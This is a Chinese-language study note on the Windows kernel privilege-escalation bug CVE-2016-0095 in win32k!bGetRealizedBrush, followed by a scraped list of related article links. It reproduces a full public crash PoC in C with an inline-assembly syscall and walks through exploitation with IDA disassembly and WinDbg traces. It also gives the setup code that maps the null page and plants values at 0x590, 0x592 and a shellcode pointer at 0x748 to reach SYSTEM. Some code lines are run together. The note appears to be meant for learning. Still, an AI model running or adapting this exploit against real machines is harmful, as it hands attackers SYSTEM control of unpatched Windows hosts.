CVE-2016-0095提权漏洞学习笔记
一.前言
1.漏洞信息
该漏洞是在win32k中的bGetRealizedBrush产生的,是一个内核空指针解引用的漏洞,利用该漏洞可以完成提权操作。由于有公开的POC,所以对这个漏洞的分析和利用就变得简单,POC代码如下:
/*** Author: bee13oy of CloverSec Labs* BSoD on Windows 7 SP1 x86 / Windows 10 x86* EoP to SYSTEM on Windows 7 SP1 x86
**/#include <Windows.h>#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "user32.lib")#ifndef W32KAPI
#define W32KAPI DECLSPEC_ADDRSAFE
#endifunsigned int demo_CreateBitmapIndirect(void) {static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 };static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0,0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 };bitmap.bmBits = bits;SetLastError(NO_ERROR);HBITMAP hBitmap = CreateBitmapIndirect(&bitmap);return (unsigned int)hBitmap;
}#define eSyscall_NtGdiSetBitmapAttributes 0x1110W32KAPI HBITMAP NTAPI NtGdiSetBitmapAttributes(HBITMAP argv0, DWORD argv1)
{HMODULE _H_NTDLL = NULL;PVOID addr_kifastsystemcall = NULL;_H_NTDLL = LoadLibrary(TEXT("ntdll.dll"));addr_kifastsystemcall = (PVOID)GetProcAddress(_H_NTDLL, "KiFastSystemCall");__asm{push argv1;push argv0;push 0x00;mov eax, eSyscall_NtGdiSetBitmapAttributes;mov edx, addr_kifastsystemcall;call edx;add esp, 0x0c;}
}void Trigger_BSoDPoc() {HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);RECT rect = { 0 };rect.left = 0x368c;rect.top = 0x400000;HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
}int main()
{Trigger_BSoDPoc();return 0;
}
2.实验环境
- 操作系统:Win7 x86 sp1
- 编译器:Visual Studio 2017
- 调试器:IDA,WinDbg
二.漏洞分析
【先关学习技术文档】
编译运行POC,根据信息可以得知,崩溃发生在win32k!bGetRealizedBrush偏移0x38的地址。崩溃的原因是此时的eax为0,函数要对[eax + 0x24]这个地址中的数据进行验证的时候,会因为[0x24]不是个合法地址而产生崩溃。
kd> g
KDTARGET: Refreshing KD connection
Access violation - code c0000005 (!!! second chance !!!)
win32k!bGetRealizedBrush+0x38:
96980560 f6402401 test byte ptr [eax+24h],1
1: kd> r eax
eax=00000000
1: kd> k
ChildEBP RetAddr
9c3339a0 969834af win32k!bGetRealizedBrush+0x38
9c3339b8 969f9b5e win32k!pvGetEngRbrush+0x1f
9c333a1c 96a7b6e8 win32k!EngBitBlt+0x337
9c333a54 96a7bb9d win32k!EngPaint+0x51
9c333c20 83e781ea win32k!NtGdiFillRgn+0x339
9c333c20 77c270b4 nt!KiFastCallEntry+0x12a
0012feac 77dd066b ntdll!KiFastSystemCallRet
0012feb0 77dd064f gdi32!NtGdiFillRgn+0xc
0012fed0 0042ba63 gdi32!FillRgn+0xb2
根据偏移,可以在IDA中找到相应的代码,根据IDA的解析,可以知道,此时是因为EBRUSHOBJ偏移0x34中的数据为0导致了崩溃
.text:BF840543 loc_BF840543: ; CODE XREF: bGetRealizedBrush(BRUSH *,EBRUSHOBJ *,int (*)(_BRUSHOBJ *,_SURFOBJ *,_SURFOBJ *,_SURFOBJ *,_XLATEOBJ *,ulong))+12↑j
.text:BF840543 push ebx
.text:BF840544 mov ebx, [ebp+arg_4] ; 将第二个参数赋给ebx,此时ebx指向EBRUSHOBJ结构体
.text:BF840547 push esi
.text:BF840548 xor esi, esi
.text:BF84054A mov [ebp+var_24], eax
.text:BF84054D mov eax, [ebx+34h] ; 将ebx偏移0x34中保存的数据赋给eax
.text:BF840550 mov [ebp+arg_0], esi
.text:BF840553 mov [ebp+var_2C], esi
.text:BF840556 mov [ebp+var_28], 0
.text:BF84055A mov eax, [eax+1Ch]
.text:BF84055D mov [ebp+arg_4], eax
.text:BF840560 test byte ptr [eax+24h], 1 ; 崩溃产生的地点
.text:BF840564 mov [ebp+var_1C], esi
.text:BF840567 mov [ebp+var_10], esi
.text:BF84056A jz short loc_BF84057A
三.漏洞利用
产生崩溃的原因是因为此时0地址并不是合法的地址,因此,只需要在0地址中申请一块内存,让0地址合法就可以防止崩溃,让程序继续运行。同时,该函数中存在函数调用,通过更改相关数据可以执行ShellCode。
在bGetRealizedBrush函数中,一共有三个地方执行了函数调用。其中的两个位置内容如下,都是通过第三个参数进行函数调用。由于无法控制第三个参数,所以这两个位置并不可以被利用。
.text:BF840763 loc_BF840763:
.text:BF840763 or eax, 80000000h
.text:BF840768 push eax
.text:BF840769 push esi
.text:BF84076A push esi
.text:BF84076B push esi
.text:BF84076C push ecx
.text:BF84076D push ebx
.text:BF84076E call [ebp+arg_8]
.text:BF840771 test eax, eax
.text:BF840773 jz short loc_BF84077D。。。
.text:BF840C27 loc_BF840C27:
.text:BF840C27 push [ebp+var_24]
.text:BF840C2A push esi
.text:BF840C2B push [ebp+var_1C]
.text:BF840C2E push ecx
.text:BF840C2F push eax
.text:BF840C30 push ebx
.text:BF840C31 call [ebp+arg_8]
另一个位置是可以利用的,因为ebx在上面赋值为第二个参数,也就是EBRUSHOBJ结构体以后就没有发生改把。所以,此时的eax就是EBRUSHOBJ偏移0x34的数据,也就是0。所以,只要将0x748地址中的内容赋值为ShellCode的地址,就会在下面因为执行call edi而成功执行ShellCode完成提权。
.text:BF8407E4 mov eax, [ebx+34h] ; eax=EBRUSHOBJ偏移0x34的数据
.text:BF8407E7 xor ecx, ecx
.text:BF8407E9 cmp dword ptr [eax+3Ch], 1
.text:BF8407ED mov eax, [ebp+arg_4]
.text:BF8407F0 mov edi, [eax+748h] ; edi = [eax+0x748] = [0x748]
.text:BF8407F6 setz cl
.text:BF8407F9 inc ecx
.text:BF8407FA mov [ebp+var_14], ecx
.text:BF8407FD cmp edi, esi
.text:BF8407FF jz short loc_BF840823
.text:BF840801 test dword ptr [eax+24h], 8000h
.text:BF840808 jnz short loc_BF840810
.text:BF84080A mov eax, [eax+464h]
.text:BF840810
.text:BF840810 loc_BF840810: ;
.text:BF840810 mov ecx, [ebp+var_2C]
.text:BF840813 mov ecx, [ecx+2Ch]
.text:BF840816 mov edx, [ebx+0Ch]
.text:BF840819 push ecx
.text:BF84081A push edx
.text:BF84081B push [ebp+var_14]
.text:BF84081E push eax
.text:BF84081F call edi ; 调用函数
.text:BF840821 jmp short loc_BF840837
要达到此处的函数调用,需要绕过如下的两处验证。此时的eax和esi都是0,所以这两处就是在验证[0x590]和[0x592]是否为0。
.text:BF840799 loc_BF840799:
.text:BF840799 movzx edx, word ptr [eax+590h]
.text:BF8407A0 cmp dx, si
.text:BF8407A3 jz loc_BF8406F7 ; [0x590]是否为0
.text:BF8407A9 add eax, 592h
.text:BF8407AE cmp [eax], si
.text:BF8407B1 jz loc_BF8406F7 ; [0x592]是否为0
如果跳转到loc_BF8406F是无法达到函数调用的地方完成提权,所以这两个地方都不能是0。因此,在0地址申请内存以后,除了在0x748赋值ShellCode地址以外,还需要将0x590和0x592赋值为非0值。
BOOL Init_2016_0095()
{BOOL bRet = TRUE;if (!AllocateZeroMemory()){bRet = FALSE;goto exit;}*(PWORD)0x590 = 0x1;*(PWORD)0x592 = 0x1;*(PDWORD)0x748 = (DWORD)&ShellCode_2016_0059;exit:return bRet;
}
在崩溃点下断点以后,运行exp。此时,因为0地址有效,所以此时不会发生崩溃,程序可以继续向下运行。
3: kd> ba e1 win32k!bGetRealizedBrush+0x38
3: kd> g
Breakpoint 0 hit
win32k!bGetRealizedBrush+0x38:
96de0560 f6402401 test byte ptr [eax+24h],1
0: kd> p
win32k!bGetRealizedBrush+0x3c:
96de0564 8975e4 mov dword ptr [ebp-1Ch],esi
0: kd> r eax
eax=00000000
继续向下运行到第一处验证,此时si为0,而由于0x590被写入了1,所以dx不为0,不会发生跳转。
1: kd> p
win32k!bGetRealizedBrush+0x271:
96de0799 0fb79090050000 movzx edx,word ptr [eax+590h]
1: kd> p
win32k!bGetRealizedBrush+0x278:
96de07a0 663bd6 cmp dx,si
1: kd> p
win32k!bGetRealizedBrush+0x27b:
96de07a3 0f844effffff je win32k!bGetRealizedBrush+0x1cf (96de06f7)
1: kd> r dx
dx=1
1: kd> r si
si=0
1: kd> r eax
eax=00000000
继续运行到第二处验证,此时同理,不会发生跳转。
1: kd> p
win32k!bGetRealizedBrush+0x281:
96de07a9 0592050000 add eax,592h
1: kd> p
win32k!bGetRealizedBrush+0x286:
96de07ae 663930 cmp word ptr [eax],si
1: kd> p
win32k!bGetRealizedBrush+0x289:
96de07b1 0f8440ffffff je win32k!bGetRealizedBrush+0x1cf (96de06f7)
1: kd> r si
si=0
1: kd> r eax
eax=00000592
1: kd> db 00000592
00000592 01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000005a2 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
继续运行,到将0x748地址中的内容赋值给edi,此时的edi就会是ShellCode的地址。
1: kd> p
win32k!bGetRealizedBrush+0x2c8:
96de07f0 8bb848070000 mov edi,dword ptr [eax+748h]
1: kd> p
win32k!bGetRealizedBrush+0x2ce:
96de07f6 0f94c1 sete cl
1: kd> r edi
edi=00401050
当运行到函数调用处,edi保存的依然是ShellCode的地址
1: kd> p
win32k!bGetRealizedBrush+0x2f1:
96de0819 51 push ecx
1: kd> p
win32k!bGetRealizedBrush+0x2f2:
96de081a 52 push edx
1: kd> p
win32k!bGetRealizedBrush+0x2f3:
96de081b ff75ec push dword ptr [ebp-14h]
1: kd> p
win32k!bGetRealizedBrush+0x2f6:
96de081e 50 push eax
1: kd> p
win32k!bGetRealizedBrush+0x2f7:
96de081f ffd7 call edi
1: kd> r edi
edi=00401050
继续执行,就会执行ShellCode的代码完成提权
最终,程序会成功提权,如下图所示:
CVE-2016-0095提权漏洞学习笔记相关推荐
- CVE-2014-4113_Win32k提权漏洞学习笔记
一.前言 1.漏洞描述 该漏洞发生的位置是在驱动文件Win32k.sys中的xxxHandleMenuMessage函数,产生的原因是没有对该函数中调用的xxxMNFindWindowFromPoin ...
- mysql cve 2016 3521_MySQL-based databases CVE -2016-6663 本地提权
@date: 2016/11/3 @author: dlive 0x01 漏洞原文 翻译水平不高求轻喷 感觉作者在写文章的时候有些地方描述的也不是特别清楚,不过结合poc可以清晰理解漏洞利用过程 0x ...
- CVE-2014-7911 Android本地提权漏洞分析与利用
概述 前面我们了解了Android Binder机制的基本原理,当然仅仅了解是不够的,我们要做到:Know it and hack it.这篇文章我们就来分析一个和Binder相关的漏洞:CVE-20 ...
- Android提权漏洞CVE-2014-7920CVE-2014-7921分析
作者:没羽@阿里移动安全,更多技术干货,请访问阿里聚安全博客 这是Android mediaserver的提权漏洞,利用CVE-2014-7920和CVE-2014-7921实现提权,从0权限提到me ...
- linux内核通用提权漏洞expliot 脏牛Dirty COW
0x01 漏洞简介 Linux内核在处理内存写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射.一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可 ...
- sqlite字段是否存在_【漏洞预警】Linux内核存在本地提权漏洞(CVE20198912)
更多资讯和分析文章请关注启明星辰ADLab微信公众号及官方网站(adlab.venustech.com.cn) 漏洞背景 近日,Linux git中发布一个commit补丁,该补丁对应的漏洞是一个本地 ...
- APP安全漏洞学习笔记
APP安全漏洞学习笔记 本文首先明确了APP安全的目标,然后对常见的APP漏洞进行了整理分析,并研究学习了APK的静态分析与动态分析技术,最后介绍了安卓的渗透测试技术和常见的安全评估工具.附录处整理了 ...
- CVE-2022-21882 Win32k内核提权漏洞深入分析
CVE-2022-21882漏洞是Windows系统的一个本地提权漏洞,微软在2022年1月份安全更新中修补此漏洞.本文章对漏洞成因及利用程序进行了详细的分析. 漏洞介绍 CVE-2022-21882 ...
- Android提权漏洞CVE-2014-7920CVE-2014-7921分析 1
没羽@阿里移动安全,更多安全类技术干货,请访问阿里聚安全博客 这是Android mediaserver的提权漏洞,利用CVE-2014-7920和CVE-2014-7921实现提权,从0权限提到me ...
最新文章
- Java编程思想(第4版)读书笔记——01
- SmartNIC/DPU — 应用场景与功能特性
- Go语言字符串和数组的相互转换
- 实战 es6_Node.JS实战65:ES6新特性:箭头函数
- boost::range_result_iterator相关的测试程序
- 【Linux网络编程】TCP
- Spring使用注释
- Celery框架简单实例
- React 第九章 表单的使用
- ioc控制反转_深入理解依赖注入(DI)和控制反转(IOC)
- [BZOJ4539][HNOI2016]树(主席树)
- Eclipse自动生成返回值对象的快捷键是什么?
- c#中两种不同的存储过程调用与比较
- 分布式任务定时框架elasticjob详解
- 阿里云服务器搭建以及简易的WEB项目部署过程
- 写c++好的软件_族谱家谱制作怎么写?专业的家谱族谱编辑制作软件哪个好
- 用VS2008制作主题和皮肤
- 【原创】小时候特别喜欢玩的强手棋游戏
- Vue中qrcode的使用方法(生成二维码插件) / 前端页面根据URL链接生成二维码
- Java高级特性 - 多线程练习题
热门文章
- TF之CNN:基于CIFAR-10数据集训练、检测CNN(2+2)模型(TensorBoard可视化)
- Algorithm之MC:基于Matlab实现通过蒙特卡洛方法模拟二维布朗运动
- Android插件化开发之解决OpenAtlas组件在宿主的注冊问题
- 关于接口 RandomAccess
- 第一段冲刺_个人总结_5.10
- Linux设备驱动--块设备(二)之相关结构体
- socket通信入门
- 技巧/诀窍:在ASP.NET中重写URL
- ubuntu12.04默认gcc4.6.3,如何升级到gcc4.8
- 操作系统习题6—存储管理2